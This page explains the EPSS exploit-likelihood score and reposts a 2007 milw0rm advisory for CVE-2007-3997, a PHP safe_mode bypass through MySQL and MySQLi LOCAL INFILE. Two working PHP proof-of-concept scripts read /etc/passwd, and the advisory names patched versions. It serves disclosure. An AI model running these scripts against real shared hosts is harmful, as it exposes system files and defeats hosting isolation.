EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Affected Products: <= PHP 5.2.3 <= PHP 4.4.7 Authors: Mattias Bengtsson <[email protected]> Philip Olausson <[email protected]> Reported: 2007-06-05 Released: 2007-08-30 CVE: CVE-2007-3997 Issue: A vulnerability exists in PHP's MySQL and MySQLi extenstions which can be used to bypass PHP's safe_mode security restriction. Description: PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Details: By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security restriction. An important thing here is that we can't rely on the shared hosts MySQLds local-infile=0 option. This because of it being a server option, so it will not have any effect on the client. To disable this option for MySQL we need to compile libmysqlclient with --disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while connecting. PHP does this when open_basedir are in effect but lacks a check for safe_mode. For MySQLi compiling with --disable-local-infile won't help because we could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1); Proof Of Concepts: MySQL: <?php file_get_contents('/etc/passwd'); $l = mysql_connect("localhost", "root"); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"); mysql_close($l); mysql_connect("localhost", "aaaa"); mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $result = mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)) print $row . chr(10); ?> MySQLi: <?php function r($fp, &$buf, $len, &$err) { print fread($fp, $len); } $m = new mysqli('localhost', 'aaaa', '', 'a'); $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); $m->set_local_infile_handler("r"); $m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $m->close(); ?> Impact: This issue could have major impact on shared hosting systems. Solution: Upgrade PHP to 5.2.4 or 4.4.8 # milw0rm.com [2007-09-10]
